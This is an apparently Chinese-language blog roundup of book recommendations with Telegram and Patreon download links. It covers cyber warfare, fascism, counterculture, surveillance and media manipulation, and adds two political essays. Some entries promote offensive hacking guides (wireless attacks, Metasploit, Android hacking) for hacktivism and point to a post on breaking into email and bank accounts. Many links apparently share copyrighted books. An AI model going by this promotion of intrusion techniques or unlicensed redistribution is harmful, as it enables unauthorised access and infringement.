同时，更好的信息可以使有限的资源得到更有效的分配，使自己的部队更加灵活敏捷。而计算机病毒等信息战武器则可以迅速瘫痪对手的系统体系，使其解体、解聚。

⚠ 解放军认为，信息化战争的重点是建立“信息主导地位”，即 在特定时间和特定空间内建立对信息和信息流的控制能力 ……

☞ 这本书利用了中国军方用来培训自己的军官的材料来解释激发中国网络战的更广阔的思维，您将能从中了解到中国军队是如何利用新技术资源的。

- 它提供了有关中国网络活动的详细概述和全面分析；
- 丰富的来自中国的资料，尤其是包含了很多在西方有关该主题的现有文献中没有的资料；
- 通过将其纳入更广泛的中国信息战活动中，可以更好地了解中国军队的计算机间谍活动。

在这里下载这本书：https://t.me/iyouport/7637

下载：https://www.patreon.com/posts/kui-tan-zhong-de-40000730

5、《The Mass Psychology of Fascism》

「图」

如何才能真正做到 “never again”？——

「图」

每一年的反法西斯纪念日上，你都会听到人们高呼 “never again”，是啊，这应该是终极理想和追求目标，但如何才能做到呢？

事实上做到 “never again” 并非容易。

几个月前，就在BLM运动最火热的阶段，关于种族歧视的争论也同时

爆发在中文网络上；于是一个IDR国际实验室小测试游戏开始在中文网络流行，题为 “您有多法西斯？”

结果是，一些参与者惊讶地发现，自以为很正直正义，却测出了较高的 “法西斯主义比重”。

这也许说明人们对法西斯主义仍然存在一些误解。

心理学长期的医学经验已经足够表明，“法西斯主义” 仅仅是普通人的性格结构的有组织的政治表现，请注意，这种性格结构既不限于某些种族或民族、也不限于某些政党，正相反，它是普通的和国际性的。

从人的性格结构角度来看，“法西斯主义” 是具有权威主义机器文明及其机器主义秘密生活的被压抑者的基本情感态度。

听起来很惊人吗？一点也不。纳粹之所以能动员如此多的人支持他们，正因为这点；也是为什么即便反纳粹战争胜利后的多年中，纳粹的思想依旧在各个国家层出不穷。

正是现代人的机械主义神秘性格产生了法西斯主义党，而不是相反。

如果人们真的想要它 “never again”，就必须清楚地认识到上述 —— 正如德国电影《Er ist wieder da（希特勒回来了）》中所警告的那样。

错误的政治思维只会造成更多的错误解释，很可能导致不断的 “again”。

过去和现在的很多解读都把法西斯主义当作一小撮反动派的专政，这有损于争取自由的真正努力。人们之所以固执地坚持这种错误思想，原因在于害怕承认事实真相，即：法西斯主义是一种 **国际**现象，它渗透到**所有**民族的 **所有人类社会** 的肌体中。这一结论与 “反法西斯战争” 胜利后的几十年内的国际事件相吻合。

任何一个人在其性格结构上都具有一定程度的法西斯主义情感和思想因素。作为一个政治运动，法西斯主义不同于其他反动党派的地方在于 —— 它是由人民大众产生和拥护的。

这一结论可能在今天仍然令人惊讶，但是，了解和理解它，正是我们能否真正做到 **“never again”** 的关键。

一人一票却选出了希特勒2.0，这不仅不是笑话，而且是很有可能发

生的危险现实。

今天即将上传的这本书详细解释了这个问题，关于：我们滑入法西斯陷阱的可能性究竟有多高，最重要的是，我们如何才能避免这点。

在这里下载这本书：https://t.me/iyouport/7656

下载：https://www.patreon.com/posts/ru-he-cai-neng-40000840

6、《Wireless Hacking with Kali Linux》

「图」

快速攻破任何无线网络——

「图」

这是今年的新书，于是它会比较实用。

这本书将从硬件开始，介绍您应该考虑如何选择无线适配器和无线卡，并详细介绍 Vitrual Box 和 Kali Linux 的安装。接下来会使用各种工具—— 例如 Kali Linux，MKD3 或 Ettercap—— 实施无线密码攻击、字典攻击、被动侦察、中间人攻击、恶意访问点创建、去认证攻击（洪水攻击）、Evil Twin攻击、和DoS攻击等等，以及更多内容。

如果您希望成为IT专业人士、尤其是在信息安全领域，这本书应该适合您。

这本书是用通俗英语写的，您不需要拥有任何技术背景也能读懂。

如果您是信息技术或信息安全领域的初学者，这本书的内容将为您带来网络和无线安全性的高级概述。

如果您支持黑客行动主义、希望成为IT安全分析师、安全工程师、网络分析师、网络工程师、或网络安全专家，这本书也会非常有用。

您将学到围绕网络安全性的关键概念和方法，以及您应该注意的关键技术。

目前 “黑客主义 hacktivist” 系列已经更新到第13集，它们汇总在 列表-5中：

https://start.me/p/1kod2L/iyp-direct-action5

您也可以通过在网站搜索该关键字以找到全部内容。

在这里下载这本书：https://t.me/iyouport/7659

下载：https://www.patreon.com/posts/41804791

《The Social Dilemma》这是今年的新纪录片，听说它在中国的知名度很高。这部片子探索了社交媒体的兴起及其对社会造成的破坏——着重于通过监视资本主义暴政和数据挖掘剥削用户以谋取金钱收益，以及其设计如何操纵人们和造成成瘾性、加之其在政治中的使用，对心理健康的影响（包括自杀率的上升）、及其在传播阴谋论中的作用等。

顺便说，IYP认为这部片子依旧肤浅；当然，真正能触及到根本的和有利于寻求解决方案的剖析不是Netflix那样的寡头能发布的内容。

种子：magnet:?
xt＝urn:btih:aef106b61f0005a210e539bdf208231e581ea2f7

7、《Living in a World that Can’t Be Fixed》

「图」

走向反文化：摆脱奴役，做真正对每个人的生活有意义的工作——

「图」

不要误解这本书的书名。它并不是终极抑郁的指南。这本书的作者 Curtis White 也写过《反抗的精神》。相反，在这本书中 White 提出了一个挑战。

他指出，政治改良主义充其量只能提供适度的补救措施，以减轻我们的灾难，并无法真正消除灾难。他说出了自己的理由。

从 White 在1969年所做的工作开始，作为旧金山东湾郊区的一名刚毕业的高中生，他遇到了政治左派和嬉皮士-反文化的双重环境。他吸收了两个环境。

那一年值得注意的是一些历史性的反文化活动：Woodstock、People’s Park、恶魔岛占领运动，以及直到12月，滚石乐队在 Altamont 举行的致命演唱会。

六十年代反文化的政治方面被操纵性的媒体逼入了边缘，这些媒体用各种社会禁忌给反文化运动贴标签，以贬低他们的存在。还记得我们在 “操纵术” 第6集中介绍的语言操纵法吗？嗯，就是那样。

- 《操纵者如何用描述转变你感知世界的方式：让你只想到我让你想的事（6）》

这导致了大众对反文化有很大的误解。White 对此进行了纠正。

反文化有极端的两极：一端是紧张的政治家，另一端是迷幻的神秘主义者。然而，White 指出，他们是在不同程度上将政治意识与享乐主义和启示性的身心追求结合在一起了。反过来，他们又吸引了许多十九世纪的诗人和艺术家，他们抨击了那个时代反智的资产阶级庸俗主义。

大多数人都将反文化视为一种滞留在1960年代的现象，认为今天反文化已成为过去 …… 其实根本不是这样的。White 认为，重新构想的反文化是我们拯救生态、绕开社会对抗、创造真正想要生活的最大希望。

为了应对大众媒体，政治左翼提倡的是一种道德讨伐，而不是一种对美好未来的憧憬。 White 认为，左翼政治缺乏对文化的欣赏，特别是缺乏对 “文化即政治” 的认识。他说：

文化关注的是形成的过程。文化是关于比今年发生的全球性政治运动 **更根本**的运动。正如弗洛伊德曾经写到的那样，文化是 “用有意识的东西取代无意识的东西” 的行为。邪教是无意识的，它只做一件事，那就是遵从指令。另一方面，文化是使人们认识到邪教所造成的损害—— 压抑、非理性、暴力、丑陋、不公正和悲剧—— 的过程。

📌 反文化，是一种直接行动。

就如 White 所言，要想孵化出融入美好生活元素的机构，需要立足于地方，作为培养公民更好的自我的场所。

这个概念对大多数人来说可能显得很陌生，所以 White 通过引用广泛的文化艺术品：电影、书籍、戏剧和音乐，成功地解读了这个概念。

从流行文化到更多晦涩的文学引用，他设法用最简单的语言传达复杂的想法。

这本书中提出了很多直接行动的想法，它指出，一种新的文化需要从一个坚实的基础上产生，一个可以发起重大反抗的地方。

📌 如果人们整天被束缚在毫无意义的工作上朝九晚五，那就不可能有对立的文化出现。六十年代的反文化之所以有生命力，正是因为那是一个充裕的时代。那时的人们可以有一份兼职，可以像 Eight Hour Movement 运动的口号那样：用一天的大部分时间做 “我们想做的事”。

在今天重启反文化，我们就需要找回那份可以得到自由解放的自我时间。去从事那些真正对每个人的生活有意义的工作，而不是继续做资本家的奴才为那些1%积累更多财富。

White 呼吁重新平衡我们的优先事项。摆脱那些庸俗的暴行，它们已经浪费了人们太多的时间。

反叛的反文化是一种俏皮而坚定的反对，通过发展与他人的联盟以达到良好的目的，治愈每个人被虐待的自我，同时治愈这个被虐待的世界。

希望这本书能给中国的反抗者一些启发。

在这里下载这本书：https://t.me/iyouport/7681

下载：https://www.patreon.com/posts/zou-xiang-fan-nu-40001088

8、《Beginning Sensor Networks with XBee, Raspberry Pi, and Arduino Sensing the World with Python and MicroPython》

「图」

动手教程——

「图」

使用XBee模块、Raspberry Pi 和 Arduino，通过 Python 和 MicroPython 构建传感器网络。

这是今年最新的修订版，它将所有这些放在一起组成一个传感器网络，并向您展示如何将您的树莓派变成一个 MySQL 数据库服务器来存储您的传感器数据。

它将从回顾不同类型的传感器和传感器网络开始，以及介绍新技术，包括如何构建一个简单的XBee网络。然后它将介绍如何在XBee、Raspberry Pi 和 Arduino上构建传感器节点，以及如何从多个传感器节点收集数据。

这本书还探讨了存储传感器数据的不同方法，包括写入SD卡、将数据发送到云端，以及设置一个 Raspberry Pi MySQL 服务器来托管您的数据。甚至还包括如何从 Arduino 直接连接到 MySQL数据库服务器并与之交互。最后，您将看到如何通过将您的传感器节点连接到您的新 Raspberry Pi 数据库服务器来将其整合在一起。

您将了解到：

- 如何使用Python和MicroPython构建您的传感器节点；
- 如何使用新的XBee 3模块；
- 如何在树莓派上托管数据；
- 如何开始使用MySQL；
- 如何创建复杂的传感器网络 …… 等等

您可以在这里下载这本书：https://t.me/iyouport/7684

下载：https://www.patreon.com/posts/dong-shou-jiao-40001212

9、《Violence: Thinking without Banisters》

「图」

什么是暴力 ——

「图」

这个时代或许可被成为 “暴力时代”，因为无论是在书籍报刊、影视作品还是互联网中，都充斥着各种现实或虚构的对暴力的呈现。

但我们所说的 “暴力” 到底是什么？它能为人们带来什么？它的界限又在哪里？

比如，国家是强制性权力在其中流动的系统，国家内的各个政治派系也许通过互相竞争来谋求支持，但这只是导致了一种民主的表象，而国家的基础是系统性地运用或规避暴力。土地所有权、租金、股息、税收、法院罚款、审查、版权和商标，这一切都是由国家的暴力威胁来强制执行的。而大多数时候，人们都不会觉得暴力离我们有多近，因为所有人都为了避免暴力而让渡了权利 ……

当人类共同行动以反对和克服系统化的暴力时，权力如何滋生与发展？

要是这种权力类型没有出现和发展的话，任何革命运动或实现彻底改革的运动都将无法取得成功。

印度的甘地、美国的民权运动、波兰的 “团结工会” 运动以及遍及东欧并导致共产主义政权垮台的非暴力运动，都已证实非暴力性权力的有效性。

甚至在武装斗争中，人民权力的增长也能够在对抗暴力方面比军事胜利更为有效。

- 不要错过这里的具体分析：《为什么有些抵抗运动无法带来积极的结果，又该如何改变？》

在阿尔及利亚的独立战争中，发生在阿尔及尔的非暴力大罢工就是一个决定性事件，它说服法国人接受殖民主义是一项败局已定的事业，尽管法国人取得了军事上的胜利。

人们不可能预测这种权力类型会在何时以及何地出现和发展—— 什么样的事件将催生这种运动。然而，当我们仔细检视那些已经成功实现人民授权的非暴力运动时，就会发现，始终有那些为授权而做出充分准备的促进活动。

甚至在黑暗的时代里，当反对暴力看上去可能无望的时候，必不可少的是，要保持关于 “非暴力权力能够实现什么” 的观念的鲜活性。

这本书深入分析并反思了各种对非暴力的重要性的论证，以及对特殊情况下的暴力的辩护。

它指出，并不存在判定暴力正当性的普遍标准，应对这个问题的可行方案，是建构允许自由公开的讨论，让个体意见得到表达和倾听的公众环境。

- 《您可能误解了的暴力和非暴力》

希望这本书能对中国的行动者有用。

在这里下载这本书：https://t.me/iyouport/7687

下载：https://www.patreon.com/posts/shi-yao-shi-bao-40001309

10、《Personal Cybersecurity: How to Avoid and Recover from Cybercrime》

「图」

如何发现和防御针对个人用户各种电子设备的网络威胁？——

「图」

这本书将教会您各种最佳实践和最新工具，以帮助您抵御各种威胁。

它涵盖了所有个人设备的网络安全性，无论是您家里的还是公司配发的设备：台式机、笔记本电脑、移动设备、智能电视、WiFi和蓝牙外围设备、以及任何联网的IoT设备。

随着个别恶意软件和网络犯罪活动的突变率不断提高，使个人用户处于危险之中的网络攻击的频率、强度和复杂程度也在逐步提高。传统的防病毒软件和个人防火墙已不足以保证个人安全。

疏于学习和没能采用新方法来保护自己，会给您本人、家庭、同事和公司带来各种侵害，声誉受损、数据损坏、数据盗窃、系统降级、系统破坏、经济损失、甚至刑事灾难。

这本书显示了您可以采取哪些行动来限制损害，以及如何快速从损害中恢复过来。

Marvin Waschke 并没有制定“你不应该如何如何“ 的规则，因为这些规则有太多的例外情况和突发事件，没有多少实际用途；相反，他为您提供了战场情报、战略理解、生存训练和经过验证的工具，您需要这些工具来评估环境中的安全威胁，并最有效地保护自己免受攻击。

通过指导性的例子和场景，这本书介绍了如何根据自己的特殊情况调整和应用最佳实践，如何将个人网络安全自动化和常规化的方法，如何识别安全漏洞并迅速采取行动进行封堵的方法，以及如何在攻击发生后挽回损失和恢复功能的方法。

您将学习到：

- 计算机安全的工作原理，以及它能保护您什么？
- 典型的黑客攻击是如何进行的
- 评估对个人用户和公司系统的计算机安全威胁
- 识别联网设备的关键弱点
- 管理您的电脑，以减少您和您的雇主的漏洞
- 了解采用新形式的生物识别认证对你的影响
- 如何阻止您的路由器和其他在线设备被恶意利用进行破坏性的拒绝服务攻击

不论是您普通用户，还是开发人员、或企业高管、或IT部门员工，只要您希望获得良好的网络安全实践，这本书都应该适合您。

您可以在这里下载：https://t.me/iyouport/7690

下载：https://www.patreon.com/posts/ru-he-fa-xian-he-40001434

11、《Too Smart: How Digital Capitalism Is Extracting Data, Controlling Our Lives, and Taking Over the World》

「图」

当下抵御反乌托邦的斗争为什么在很大程度上无用——

「图」

反抗者的顾虑太多了。抱着很可能不切实际的期待。

当下的大多数分析都被赋予了一个虚构的基础，即 存在即合理。于是想象力被固定在："我们能用它来干点什么正义的事呢" 的层面上。包括IYP，一定程度上也是如此。

就如在今年的抗议活动中，反抗者用自制的面部识别技术筛查混入抗议者队伍中的警察间谍，这让我们感觉很兴奋。

“我们也许真的能把这些东西用在对的地方”—— 然而这个想法其实有点危险。首先它已经默许了这类反乌托邦技术的存在（不仅仅是面部识别），其次，它假设了一个反抗者和当权者（及寡头）能够拥有势均力敌的技术能力的虚幻愿景。

势均力敌，未来也许可以，但短期内肯定不行，尤其是，在虚假的期待基础上接受了这些技术，意味着必然要接受当权者和寡头公司的各种缓兵之计。

他们会承诺你立法监管，但如果人们知道是谁在一掷千金游说立法者以操纵法律符合某些人的利益，反抗者就不会信任、也不会答应；他们还会假装禁止其中一部分，就如某些地区成功禁止了警察使用面部识别技术，但是，如果人们明白禁令并不涵盖私人使用，而警察完全可以利用私人使用的面部识别技术达到同样的侵犯公民权利的监视，反抗者就不会认可媒体将其称之为“胜利”。

亚马逊、IBM和微软宣布退出面部识别市场或暂停向警察提供此类软件，一大群媒体跟着炒作这些事。所以您一定是听说过了。

但是，活动家和技术学者必须明白，这些公司的行动显然是经过深思熟虑的业务决策。而非对人权的反思。

Sadowski 指出，反抗者要在人权争夺战中取得真正的进步，就需要致力于彻底拆除现在正支配着所有人的城市战争机器。

而不是听信任何人承诺的寻求所谓 “道德使用的最佳实践”。那只是障眼法而已，在当前这个军统的基础设施上，不会诞生任何 “道德”。

如果人民能接受的唯一策略是修改这些技术和监管这些技术的使用，那将意味着放弃人民自己的权利并阻止其他选择。

Sadowski 指出，反抗者必须能抓住重点。就如，公民反抗也许能成功剥夺警察的权力，但是，如果警察和监视者的价值观和世界观仍然在城市结构中得以体现，那么他们的权力将永远存在。

技术也一样。数据一旦成为权力和政策常识，便成为了一种资本形式。智能技术是由数字资本主义的双重要求驱动的：从所有事物和所有人中提取数据，并扩展为对一切事物和一切人口的全面控制。

反抗的成功与否取决于反抗者能否清楚地识别灾难的根源。中国社会对监视国家的警惕和相应的反抗正在出现，希望这本书能帮助中国的反抗者确立目标。

您可以在这里下载这本书：https://t.me/iyouport/7695

下载：https://www.patreon.com/posts/dang-xia-di-yu-40001507

12、《Metasploit 5.0 for Beginners》

「图」

做出最好的攻击：Metasploit 5.0初学者手册——

「图」

Metasploit 是著名的渗透测试工具，功能强大，我们曾经多次提及过它。你们可以在下面回顾其中部分内容：

- 《如何入侵目标的电子邮件和银行账户：黑客主义行动力（10）》
- 《社交工程工具用于开源情报调查：0基础初学者指南》
- 《侦查和欺骗：这里是社交工程攻击必备的技术工具》
- 《社交媒体情报和反情报基本工具手册：自我人肉（2）》

今天上传的是 Metasploit 5.0 给初学者的手册，对所有功能都有清晰的介绍，简单易懂。不仅有基础知识，还有 Metasploit Framework 5.x 提供的高级和复杂功能。

您可以在这里下载：https://t.me/iyouport/7698

下载：https://www.patreon.com/posts/zuo-chu-zui-hao-40001598

13、《Human-machine detection of online-based malign information》

「图」

机器学习模型检测在线信息战——

「图」

随着社交媒体越来越多地被用来作为人们获取知识的主要来源，恶意的和虚假的信息传播所带来的威胁越来越大。

随着新闻源中人工编辑的缺失和在线活动的增长，各种恶意行为者操纵人们的认知已经变得非常容易。

找到一种有效的方法来检测网上的恶意信息是解决这一问题的重要一环。

兰德开发了一种检测在线信息恶意使用的方法。

今天的在线社区越来越多地受到垃圾新闻、网络欺凌、恐怖主义宣传、政治斗争信息战等威胁的影响。这些威胁是由机器人用户和人类用户共同进行的，包括 Trolls、民粹主义政治嘴炮、极右或极左个人、国家级竞争对手和极端主义团体。

研究团队在已知的俄罗斯 Trolls 数据库中成功应用了一个机器学习模型，以识别真实的政治支持者和 Trolls 之间的差异。

研究团队使用文本挖掘来提取特定的搜索词，收获了190万用户账户的推文，然后使用算法来识别不同的在线社区。分析确定了775个伪装成自由派和保守派支持者的完全虚假的 Trolls 账户，以及190万真实的自由派和保守派支持者。

下一步就是将该模型用于其他典型的信息战局面，比如英国脱欧，比如中国和美国之间的帝国争霸战。

下面上传这份研究报告。

请注意，这类研究报告很有用，是对防御和攻击的双重作用—— 您可以用它来揭露信息战操纵，操纵者也可以将其用作规避标准，以改变战略避免被识别。

不要错过关于信息战揭露的相关报告和技巧知识：

- 《看清信息战：2019全球有组织社交媒体操纵清单》
- 《诈：在线信息战操纵战略的多样化》
- 《所有信息都是战略性的：信息地缘政治》
- 《选举如何成为一门生意：私人情报市场和现实的有偿操纵者》
- 《如何在网上兜售谎言？—— 他们承诺可以”按照你的意愿改变任何现实”》
- 《心理操纵的秘密：”行为经济学”＋PR＝？》
- 《互联网霸主的时间线—— 他们将互联网视为间谍、破坏和战争的主场》

- 《当恶意者掌握技术：信息战的未来究竟有多可怕？》
- 《如何分辨：机器人、僵尸网络和 trolls》
- 更多内容见：“心理战和信息战”

兰德的研究报告可以在这里下载：https://t.me/iyouport/7702

下载：https://www.patreon.com/posts/ji-qi-xue-xi-mo-40001666

14、《Hacking Android》

「图」

入侵安卓——

「图」

移动安全是当今最热门的主题之一。

Android 是市场上领先的移动操作系统，它拥有庞大的用户群，并且许多个人和商务数据都存储在 Android 移动设备上。现在，移动设备已经成为娱乐、商业、个人生活、当然也包括新风险的来源。

针对移动设备和应用程序的攻击正在上升。

Android 是拥有最大消费群的平台，显然也是攻击者的主要目标。

这本书将提供对各种攻击技术的见解，以帮助开发人员和渗透测试人员以及日常用户了解 Android 的安全基础知识。

📌 作为普通用户，了解这些知识将有助于您读懂并判断开发者的描述是否能满足基本安全需求。

它将包括：

- 构建一系列 Android 安全性所需的工具；
- 介绍 Root 的基础知识及其优缺点；
- Android 的攻击面，帮助您构建威胁模型；
- 评估 Android 应用程序的数据存储安全性的技术；
- 服务器端攻击的方式；
- 客户端攻击，以及进行静态分析的自动化工具；
- 评估和利用 Android 应用程序中客户端漏洞的常用工具和技

术；
- Android 恶意软件分析技术；
- 以及日常操作中免于被攻击的自我保护方法 ……

您可以在这下载这本书：https://t.me/iyouport/7704

下载：https://www.patreon.com/posts/ru-he-ru-qin-40001769

为什么动员人们离开寡头服务会失败

「图」

推特的加强版审查制度再次引起人们的惊讶，一些曾经觉得这些寡头平台 “不敢得罪用户，否则难以留住用户在此平台上” 的人，现在几乎哑口无言。

其实这些惊讶都早已不应该存在。也许有必要再次澄清一些事，以帮助人们理解这些寡头公司为什么会这样做，以及您自己和团队为什么 “无处可逃”。

首先，如果不与现有的权力结构合作，作为一个公司你就无法在现有的体系中达到亿万富翁级别的影响力和财富控制力—— 这在中国和美国都一样。中国人早已很清楚这点，美国人正在开始理解这点。

另一个角度上，这也是为什么你无法推动大量的用户离开微信—让腾讯股价断崖式下跌的那种数量，同样，也正是为什么 deleteFacebook 会失败的原因。

不断有人因社交媒体发言被抓捕，没有用，其他人继续留在这里；影子禁令、封锁审查，都没有能做到让人们大规模地离开。原因很简单，绝大部分用户需要影响力，尤其是审查和抓捕的重点目标—— 那些敏感人士—— 需要影响力以推动其反抗议程。他们需要最大程度地接触到受众。

影响力，只有这些垄断权力的寡头平台能给人们。

第二，作为一个平台，如果你与权力结构的合作不被信任，你就会发现自己变成了被针对目标—— 在中国，“你”就是谷歌、推特；在美国，“你” 就是 TikTok和微信。

虽然苹果把中国用户数据的密钥交给了北京，TikTok 帮助美国警察抓捕美国抗议者，但是对于当权者来说，这还远远不够—— 他们要

的是*全 ~ 面 ~ 控 ~ 制*，即 在美国是棱镜级别的，在中国是腾讯百度级别的。

这就是为什么那些所谓的自由主义者和自由市场的信仰者的想法是完全错误的—— 这些人认为 “对于硅谷的审查制度，用户可以通过转移到不同的平台来对抗”，不，你做不到；

没有任何一个平台会被允许上升到 Facebook，Twitter 或 YouTube 的水平，除非它与在这些平台上推动审查制度的权力结构保持完全的一致。这就是为什么试图与这些寡头公司竞争的努力都会不断失败的原因。

【注：这段话曾经有一个解密文件具体介绍过，见《解密文件：科技产业巨头为什么能成为巨头？私有化间谍活动如何发动了认知战争？》】

这些平台是在建制派权力结构的帮助下建立起来的，它们的维护也得到了这些权力结构的同意。

FATBAG（Facebook Amazon Tencent Baidu Alibaba Google）—— 这几个巨头的平台吸纳了整个地球上几乎所有人类的对话，然后按照建制派的利益对这些对话进行审查，这对权贵来说是极其宝贵的资产，他们绝不会轻易放过。

这是他们对付异议思想的一个极其有效的武器。

这是一个最熟悉不过的故事了。首先富豪控制了报纸，然后他们控制了广播，然后他们控制了电视，现在是，他们控制了互联网言论。

几个世纪以来都在延续同样的故事，每一次他们都是在通过与现有的权力结构合作，以延续其王国建立的并赖以生存的现状。

这些 “1%” 之所以这样做，是因为他们明白权力的真正秘密：谁能控制叙事，谁就能控制整个世界。只有当其他所有 **“99%”** 也能意识到这一真理时，才有希望看到改变。

——我说这些话肯定不是想令您悲观失望，我在重申一个着力点的校准；当您无法动员人们离开微信或Facebook或推特的时候，请不要责怪大众，他们和你我一样地无奈。异议人士致力于批评大众不会有任何帮助，只有当我们这些“99%”联合起来想办法时，那“1%”才会开始害怕。

15、《Hate Inc.: Why Today’s Media Makes Us Despise One Another》

「图」

任何事都能撕裂你们，这可能是有原因的——

「图」

IYP有 “心理战和信息战” 栏目，也多次发布心理战操纵的全球报告（在 列表-5 “长读”中），这些资料显示操纵者如何利用 **同时拉动正反双方** 的手段以撕裂社会。

这种撕裂的结果是让民主讨论停止运行。在极化的状况下人们非常容易被操纵和诱导。

多数情况下的研究会强调这是由人类行为者结合自动化机器人网络运作的。但一本去年的新书再次提醒人们：传统的操纵社会手段依旧在发挥着强大的作用。

就如您所知道的：控制传播就能控制人们的认知，控制人们的认知就能控制整个世界。

这就是为什么自古以来的所有当权者都致力于控制大众能获得哪些信息，塑造对政权有利的叙事。其中媒体是最关键的工具。

– 《媒体操控：战略性欺骗的重头戏》

我们去年上传过一本书，关于传播学是如何被武器化的，在这里看到《胁迫之术：传播学是如何变成武器的》；它提供了大量的资料，尤其是曾经被雪藏多年的证据，介绍了这一演变的过程。

这不是唯一一份揭露，该领域最著名的是30年前的经典《Manufacturing Consent》。并且在30年后的今天，**Alan Macleod** 再次更新了这一知识—— 强调了数字化信息时代的政治心理操纵有多么的容易。

2020又是大选年，当然，也是心理操纵的顶峰时段。Matt Taibbi 及时出版了一本新书，讲述选战心理操纵是如何利用媒体达到其政治目的的。

在互联网时代，新闻界已经掌握了有效地将愤怒、偏执狂和不信任货币化的艺术。Taibbi 在其职业生涯中大部分时间里都从事选举工作，他了解最为恶劣的操纵手段是如何进行的。他对政治新闻的肮脏手法进行了丰富的分类研究。

这个问题非常重要，尤其是对于那些尚且没有民主经验的社会来说，如果您希望拥有真正的民主的话。

下载：https://t.me/iyouport/7709

下载：https://www.patreon.com/posts/ren-he-shi-du-si-40988744

16、《CIA World Factbook 2020 ~ 2021》

「图」

新版：预测性情报资源 ——

「图」

还是CIA的 “The World Factbook”，我们去年发布了2018 ~ 2019年版，您可以在这里回顾：《从间谍的眼睛看世界 》。

📌 现在上传的是新版 2020 ~ 2021；由于今年的地缘政治格局出现了非常多的动态，所以您知道，新版值得关注。

World Factbook 由中央情报局编写，专供美国政府官员使用，其样式、格式、覆盖范围和内容，均旨在满足美国政府部门的特定要求。

它包含的信息非常丰富，来源广泛，包括 南极情报计划、武装部队医学情报中心、人口普查局、劳动部、中央情报局、国防情报局、能源部、国务院、内政部、海事管理局、国家地理空间情报局、海军设施工程司令部、海军情报局、联合国人口司、国际战略研究所等等，以及其他公共和私人资源。

📌 简单说，这是一个难得的全球情报概览，尤其是以专业的情报分析技术形成情报产品，您将能够 **从美国政府的视角** 审视全球政治、地缘关系、经济、商务、战争、环境..... 等等一切。

情报周期是获取信息、并将信息转化为情报并提供给决策者的过程。

信息是来自任何来源的原始数据，这些数据可能是零散的、矛盾的、不可靠的、模糊的、欺骗性的、或是错误的。情报则是经过收集、整合、评估、分析和解释的信息。

成品情报是情报周期的最终产品，可以交付给政策制定者。

成品情报有三种类型：基本情报、时效情报和预测情报。

基本情报提供关于一个国家或问题的基本和事实参考材料；时效情报报告新的事态发展；预测性情报判断可能的结果。

这三者相辅相成：基本情报是构建其他两个情报的基础；时效情报不断更新知识库存；预测性情报修正对前景的总体解释，以指导基本情报和时效情报。

👆 World Factbook 就是预测性情报—— 也就是说，您将从这里分析出，美国政府最有可能怎么做 ……

📌 它会比您阅读任何语种的政治评论和分析都能更好地了解这个世界。

IYP始终认为，政治评论应该采取情报的思考方式，以便能令作品具有对行动的指导价值。

您可以在这里下载：https://t.me/iyouport/7712

下载：https://www.patreon.com/posts/xin-ban-yu-ce-zi-40001996

17、《Superpower Showdown: How the Battle Between Trump and Xi Threatens a New Cold War》

「图」

美中之战的背后——

「图」

2018年12月，特朗普政府中的 “中国鹰派” 在内部推行了一系列的惩罚措施，有人将其称为 “折腾中国周 Fuck China Week” ……

最近，一份为共和党办公人员准备的关于如何应对其在冠状病毒问题

上栽跟头的备忘录告诉他们，”不要为特朗普辩护”，而是要：“攻击中国”……

几个月前那份震惊级的解密文件中显示，官员们认为，美国在人工智能驱动的技术相关的许多方面，特别是对大规模监控技术的使用，都要跟随中国，甚至超越他们：

他们将没有反抗视为中国的“优势”；

将政府可以胡作非为，视为中国的“优势”；

将在线支付的愚蠢潮流视为中国的“优势”；

将一切隐私人权视为 “障碍” …

首先声明（也许不必声明了，老读者都知道）IYP对地缘政治斗争的兴趣不大，除非它影响到民生和人权—不论是正面的还是负面的影响。我们希望的是能抓住地缘政治变动的 “机遇”，成就公民理想的社会和政治未来。

众所周知，今年是美国的选举年，也是中美关系最热闹的一年，不久后会有文章详细分析这件事。很明显，本次大选中两党双方已经将对中国的姿态视为较量的重点。这可能说明什么？

相关内幕我们曾经发布过一些，但是还没有足够丰富的资料比如书籍能更为彻底地帮助您看清楚这个问题。

今天上传的这本书虽然不是很好，因为它是来自企业媒体—华尔街日报的记者，也就是说它通过其自身的官方采访渠道得到的信息，而非官员们不想要被曝光的内部文件；您知道哪个价值更大。但它的确着眼于中美斗争的背景，关于两个超级大国之间的关系是如何瓦解的。

作者认为，中美之间的贸易战不是从特朗普开始的，也不会在他身上结束。两国有着漫长而充满争议的政治和经济历史，在过去的三年里，这种争议变得更加激烈—— 这种升级对两国的经济乃至整个世界都产生了影响—— 并有可能带来更多的不确定性和混乱。

这种对峙是如何发生的？没有与中国进行有效对抗或谈判的美国总统和官员要承担多大的责任？中国领导人以及几十年来在华盛顿充当北京说客的美国商界领袖，在推动两国紧张关系方面扮演了什么角色？……

这本书希望人们能为接下来可能发生的事做好准备。

未来我们将引述这本书，现在上传它。

您可以在这里下载：https://t.me/iyouport/7735

下载：https://www.patreon.com/posts/mei-zhong-zhi-de-40002135

在破坏性的焦虑之后

「图」

很多观察家认为，特朗普是在激发选民的 “非理性本能和欲望”。我敢肯定这些本能和欲望并非批评者所描述的那样疯狂。

现实情况是，最荒唐的决定有时是在可以理解的和 心理层面 可解释的情绪的影响下做出的。

记得在俄罗斯试图吞并克里米亚的行动最初，我试图解释：入侵外国领土会导致战争，甚至是全球性的战争，因为这破坏了整个现有的世界秩序。当时一个被认为聪明的上年纪的俄罗斯人回答说：“那不是更好吗？现有的秩序已经无法忍受。打破它，一切都会好起来”。

听着耳熟吗？有点像 “加速” 是吧？

这提出了一个问题：这种感觉从何而来？那些最具破坏性的和非理性的欲求，从何而来？

这很可能是一种混合的情绪 —— 陷入停滞的局面、潜伏的不满和无能为力的焦躁混杂在一起的结果。

2012-2013年的俄罗斯正进入停滞期。关于“外国特工”的法律生效，抗议活动被摧毁，对变革的希望从那些仍在滋养他们的人们心中消失了，大多数公民被迫承认支持 “加强监管”。但是，即使是反抗集会的热烈反对者和普京的拥护者也不能不对当地的腐败现象日益严重、官员的有罪不罚和维稳部队的肆意妄为感到不满。

停滞不前和不满情绪联系在一起，大多数人就开始在某种程度上梦想夺取外国领土或以战争威胁外国。当然，克里姆林宫也人为地推动了社会的侵略心态和不容忍程度，这些情绪当时已经高涨。带有斯大林形象的小巴在城市街道上行驶，人们喊着“摧毁自由主义混蛋”；民族主义像霉菌一样蔓延，费奥多罗夫播报了一场针对俄罗斯的所谓世界

阴谋，呼吁人们走出去加入“民族解放革命”。

